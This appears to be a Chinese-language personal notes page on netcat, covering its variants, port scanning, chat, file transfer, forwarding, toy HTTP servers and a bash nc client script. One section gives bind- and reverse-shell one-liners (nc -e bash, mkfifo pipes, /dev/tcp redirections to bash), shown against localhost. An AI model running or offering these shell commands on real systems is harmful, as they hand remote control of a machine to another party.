nc 是 netcat 的缩写。
nc 是一个用于处理网络连接的工具。
netcat 的原始版本是一个 Unix 程序。 最后一个版本 (1.10) 于 1996 年 4 月发布。原作者叫做 Hobbit 。
现在的 nc 有很多种实现。下面是常见的五种实现。
多数情况下 nc 或 netcat 是指 GNU 版 或 openbsd 版,一般系统自带的是 GNU 版
socat 和 ncat 和 nc-openbsd 都支持 tls 。 从功能上看。 BusyBox nc < nc-traditional < nc-openbsd < ncat < socat
nc 扫描端口
nc -v 127.0.0.1 801
nc -v -i 1 127.0.0.1 801
nc -v -z -i 1 127.0.0.1 801
nc -v -z -i 1 127.0.0.1 800-900
不是所有版本的nc都支持 i z 参数,不是所有版本的 nc 支持批量端口扫描
<!--
nc -v 127.0.0.1 801
echo $? 为 0 就是端口有开启
如果有 -z 参数还是可以通过 bash 来实现批量端口扫描的
有 -w 参数也可以,但可能有一点不准确
超时可以用 timeout 这个命令?
-->
nc 实现聊天
最简单的一对一
nc -l 801
nc 127.0.0.1 801
nc 传输文件
接收端先运行一个 nc
nc -l 801 > output.txt
发送端再运行一个 nc
nc 127.0.0.1 801 < input.txt
nc 实现一个转发服务
nc 自己调用自己
nc -v -l -k -p 9901 -e "nc 127.0.0.1 9902"
nc -v -l -k -p 9901 -e "bash -c \"nc 127.0.0.1 9902\""
使用管道
mkfifo pipe1;cat pipe1 | nc -v -l -p 9901 | /bin/bash -c "nc 127.0.0.1 9902" 2>&1 1>pipe1;
nc 实现远程 shell
远程 shell
nc -v -l -p 9901 -e "bash"
控制端
nc -v 127.0.0.1 9901
即使没有 -e 参数,也能通过管道实现各种奇技淫巧,虽然管道的奇技淫巧只能处理单个连接
mkfifo pipe1;cat pipe1 | nc -v -l -p 9901 | /bin/bash 2>&1 1>pipe1;
nc 实现远程反向 shell
控制端先运行一个 nc
nc -v -l -p 9901
目标机器上连接控制机器的 9901 端口,并将其shell绑定到该连接上
nc -v 127.0.0.1 9901 -e "bash"
mkfifo pipe1; cat pipe1 | nc -v 127.0.0.1 9901 | /bin/bash 2>&1 1>pipe1;
exec 3<>/dev/tcp/127.0.0.1/9901; exec 0>&3; exec 1<&3; /bin/bash 2>&1;
exec 3<>/dev/tcp/127.0.0.1/9901; /bin/bash 2>&1 0>&3 1<&3; 这种写法似乎更好
用 ncat 实现最简单的五个协议
参考这个网页
https://nmap.org/ncat/guide/ncat-simple-services.html
echo
while read -r line; do echo "$line"; done
echo 123 | while read -r line; do echo "$line"; done
echo -e "123\n321" | while read -r line; do echo "$line"; done
nc -l -k -p 9901 -e "cat $@"
daytime
date -u "+%d %b %y %k:%M:%S %z"
date -u --rfc-2822
date -u --rfc-3339="seconds"
date -u --iso-8601="seconds"
time
date +%s | awk '{printf "%#x", $1+2209017600}' | xxd -r
discard
while read -r line; do echo "$line" > /dev/null; done
chargen
lineLimit=72;offset=0;count=0;while true; do for ((i=0; i<$lineLimit; i++)); do tag=$((($i + $offset) % 95)); printf "\x$(printf %x $(($tag + 32)))"; done; offset=$(($offset + 1)); if [ $offset -ge 95 ]; then offset=0; fi; printf "\n";count=$(($count + 1)); done;
nc 如何模拟 telnet 客户端?
nc 也可以像 telnet 那样模拟 http 客户端
nc www.baidu.com 80
连接后,快速地输入 GET / HTTP/1.0 然后连续输入两个回车,就能返回网页内容
又或者直接一句命令
printf 'GET / HTTP/1.0\r\nHost:www.baidu.com\r\n\r\n' | nc www.baidu.com 80
<!--
为什么连续输入两个空格是有效的,理论上只是输入了 \n\n ,而http协议里需要的是 \r\n\r\n 吧?
-->
nc 如何模拟 http 服务器
输出固定的内容
如果支持 参数 k
trap "{ kill $$; }" SIGINT;while true; do nc -v -l -k -p 9901 -c "echo \"HTTP/1.0 200 OK\\r\\nContent-Length: 11\\r\\n\\r\\nhelloworld\""; sleep 1s; done;
如果不支持 参数 k
while true; do { echo -e 'HTTP/1.1 200 OK\r\nContent-Length: 11\r\n\r\n'; echo helloworld; } | nc -v -l -k -p 9901; sleep 0.5s; done
能保持运行,但每次只能处理一个请求,通过连续两次 ctrl+c 退出,但个请求都要等待一秒
输出动态内容
动态输出内容的命令会写得非常的长,而且还有很多转义字符需要处理,所以最后还是写成了脚本的形式
nc -v -l -p 9901 -c ./http.sh
同样地需要关注 nc 是否支持参数 k ,需要有两种不一样的写法,参考上面的就可以了
参数k的作用是重复处理连接,如果没有参数k,nc会只处理一个连接就退出了
这是 http.sh 的内容
#!/bin/bash
echo -n "HTTP/1.0 200 OK"
echo -e -n "\r\n"
echo -n "Content-Length: 11"
echo -e -n "\r\n\r\n"
echo "helloworld"
已经有人做了类似的了
https://github.com/avleen/bashttpd
netcat -lp 9901 -e ./bashttpd
测试用的命令
curl -v 127.0.0.1:9901
nc 127.0.0.1 9901
用 python 和 php 实现一个 nc
如果 bash 有 /usr/lib/bash/accept 这个特性,那么直接用 bash 实现一个 nc 也不是不可以的。 客户端部分用 exec /dev/tcp/$host/$port 和 exec /dev/udp/$host/$port 来实现, 服务端部分用 /usr/lib/bash/accept 来实现。 只有 bash 搞网络编程还是有太多限制了,因为 socket 很多选项无法通过 bash 设置。
<!-- 用 python 和 php 实现一个 nc ,只实现 -h -l -e 这三个参数即可。 理论上只要实现了 l p e 三个参数就能作为服务端运行 即使没有 e 参数,也能通过管道实现各种奇技淫巧 也就是只需要实现 l p 即可 c 如何实现一个交互式的命令行? php 如何实现一个交互式的命令行? python 如何实现一个交互式的命令行? 处理命令行参数 建立连接 处理输入 处理输出 https://github.com/mirror/busybox/blob/master/networking/telnet.c https://github.com/mirror/busybox/blob/master/networking/telnetd.c https://docs.python.org/zh-cn/3/library/telnetlib.html https://github.com/python/cpython/tree/3.12/Lib/telnetlib.py 这个文件似乎能直接作为 telnet 客户端使用 python telnetlib.py [-d] ... [host [port]] https://www.cnblogs.com/mrlayfolk/p/15154813.html https://github.com/search?q=telnet+language%3AC&type=repositories&l=PHP&s=stars&o=desc https://github.com/fijiwebdesign/php-telnet https://github.com/diotteo/TelnetClient.php /dev/tcp并不是linux下面的一个文件。直接在/dev目录下面去是找不到这个文件的。这仅仅是bash的一个feature,因此这种方法也仅能在bash中使用,换了其他shell就没用了 nc [OPTIONS] HOST PORT - connect nc [OPTIONS] -l -p PORT [HOST] [PORT] - listen --> <!-- 在命令行里的 read 命令好像不能读入 换行符 直接输入回车 read 的数据就会为空 这一句是可行的 printf 'GET / HTTP/1.0\r\nHost:www.baidu.com\r\n\r\n' | ./ncc.sh www.baidu.com 80 ```bash #!/bin/bash # 这一份是可行的,可以读取多行数据,但只是按行读取再按行输出,不能一次发送多行数据 sys_exit() { # 关闭连接 exec 3<&-; # 关闭文件描述符 3 的输入 exec 3>&-; # 关闭文件描述符 3 的输出 if [ ! -z "$1" ]; then exit 1 fi exit 0 } # debuger() { # } debugerflg=0 logger() { loggertype=$1 msg=$2 if [[ $loggertype = 1 ]]; then if [[ $debugerflg = 1 ]]; then echo "* "$msg fi elif [ $loggertype = 2 ]; then echo "< "$msg elif [ $loggertype = 3 ]; then echo $msg fi } loggerTypeInfo=1 loggerTypeInput=2 loggerTypeError=3 current_pid=$$ logger $loggerTypeInfo "当前脚本的 PID 是: $current_pid" # kill -s SIGKILL $current_pid # 检查参数 if [ "$#" -ne 2 ]; then echo "用法: $0 <主机> <端口>" exit 1 fi HOST=$1 PORT=$2 # 连接到指定的主机和端口 exec 3<>/dev/tcp/$HOST/$PORT # 检查连接是否成功 if [ $? -ne 0 ]; then logger $loggerTypeError "无法连接到 $HOST:$PORT" exit 1 fi logger $loggerTypeInfo "已连接到 $HOST:$PORT" # read -t 1 -u 3 line:尝试从文件描述符 3 读取数据,-t 1 表示设置超时时间为 1 秒。 sleep 1; while true; do stream_input= stream_input_line= while true; do # read -t 1 -N 1024 -u 3 stream_input_line; read -t 1 -u 3 stream_input_line; return_code=$? logger $loggerTypeInfo "读取时 fd 返回值 $return_code" if [[ ! -z $stream_input_line ]]; then logger $loggerTypeInput "$stream_input_line" stream_input=$stream_input$stream_input_line else if [[ $return_code -ne 0 ]]; then if [[ $return_code -le 128 ]]; then logger $loggerTypeError "read 连接关闭" sys_exit 1 break; fi if [[ $return_code -gt 128 ]]; then logger $loggerTypeInfo "读超时" break; fi fi fi done logger $loggerTypeInfo "$stream_input"; stream_output= read -p "> " -r stream_output; if [[ ! -z $stream_output ]]; then if [[ $stream_output = "exit" ]]; then echo 'bye'; break; fi logger $loggerTypeInfo "output size: "$(echo -n $stream_output | wc -c) echo $stream_output >&3 return_code=$? logger $loggerTypeInfo "写入时 fd 返回值 $return_code" if [[ $return_code -ne 0 ]]; then logger $loggerTypeError "write 连接关闭" sys_exit 1 fi fi done sys_exit ``` -->